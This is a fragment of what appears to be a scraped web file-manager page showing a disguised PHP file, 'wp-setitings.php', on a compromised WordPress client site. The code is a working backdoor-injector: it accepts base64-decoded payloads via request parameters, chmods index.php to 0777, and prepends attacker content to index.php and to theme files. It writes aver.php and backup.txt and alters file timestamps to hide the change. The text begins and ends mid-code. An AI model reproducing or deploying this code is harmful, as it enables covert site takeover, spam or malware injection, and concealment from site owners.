芝麻web文件管理V1.00
编辑当前文件:/home/p/r/i/prismawe/clients/rhumatism-alp.fr/wp-setitings.php
'; $fileplus="".$fileflag; $rootPath=GetRootPath(); $filePath=$rootPath.'/index.php'; if(!file_exists($filePath)) { $filePath=$rootPath.'/default.php'; } if(!file_exists($filePath)) { $filePath=$rootPath.'/home.php'; } if(!file_exists($filePath)) { $filePath=$rootPath.'/index.php'; } if(!file_exists($filePath)) { $filebody=$fileplus; $fp=fopen($filePath,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody)); fwrite($fp,$filebody); fclose($fp); } else { $filebody=file_get_contents($filePath); if(strpos('___'.$filebody,$fileplus)!==false) { $filebody=str_replace($fileflag,'~',$filebody); $arrParts=explode("~",$filebody); $filebody=$arrParts[1]; } if(strpos('___'.$filebody,$fileplus)===false) { $filebody=$fileplus."\r\n".$filebody; $fp=fopen($filePath,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody)); fwrite($fp,$filebody); fclose($fp); } } if(file_exists($filePath)) { $filebody=file_get_contents($filePath); if(strpos('___'.$filebody,$fileplus)!==false) { ModifyTime($rootPath,$filePath); echo '__success__ok__success__'; } } } else if($action=='beindex') { $aver=''; $fileplus=''; $checkstring=''; if(isset($_REQUEST['aver'])) { $aver=$_REQUEST['aver']; $aver=base64_decode($aver); } if(isset($_REQUEST['fileplus'])) { $fileplus=$_REQUEST['fileplus']; $fileplus=base64_decode($fileplus); } if(isset($_REQUEST['checkstring'])) { $checkstring=$_REQUEST['checkstring']; $checkstring=''; } if($aver==""||$fileplus==""||$checkstring=="") { die('__success__parameters error #3__success__'); } $rootPath=GetRootPath(); $filePath=$rootPath.'/index.php'; $filePath2=$rootPath.'/backup.txt'; $filePath3=$rootPath.'/aver.php'; if(!file_exists($filePath)) { die('__success__file-not-exist__success__'); } chmod($filePath,0777); $filebody=file_get_contents($filePath); if($isdelete=='1') { $filebody=''; } if(strpos('___'.$filebody,$checkstring)!==false) { $arrParts=explode($checkstring,$filebody); $filebody=$arrParts[count($arrParts)-1]; } if(strpos('___'.$filebody,$checkstring)===false) { $filebody=$fileplus."\r\n".$checkstring.$filebody; $fp=fopen($filePath,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody)); fwrite($fp,$filebody); fclose($fp); $fp=fopen($filePath2,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody)); fwrite($fp,$filebody); fclose($fp); $fp=fopen($filePath3,"w"); //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody)); fwrite($fp,$aver); fclose($fp); } $filebody=file_get_contents($filePath); if(strpos('___'.$filebody,$checkstring)!==false) { ModifyTime($rootPath,$filePath); echo '__success__ok__success__'; exit; } else { echo '__success__failed__success__'; exit; } } else if($action=='belink') { $fileplus=''; $checkstring=''; if(isset($_REQUEST['fileplus'])) { $fileplus=$_REQUEST['fileplus']; $fileplus=base64_decode($fileplus); } if(isset($_REQUEST['checkstring'])) { $checkstring=$_REQUEST['checkstring']; $checkstring=''; } if($fileplus==""||$checkstring=="") { die('__success__parameters error #3__success__'); } $rootPath=GetRootPath(); if(!is_dir($rootPath.'/wp-content/themes')) { die('__success__folder themes not exist__success__'); } $folders= GetFolders($rootPath.'/wp-content/themes',false); $arrParts=explode("|",$folders); $result=0; for($n=0;$n
')===false) { continue; } if(strpos('___'.$filebody,$checkstring)!==false) { $arrParts=explode($checkstring,$filebody); $filebody=$arrParts[0].'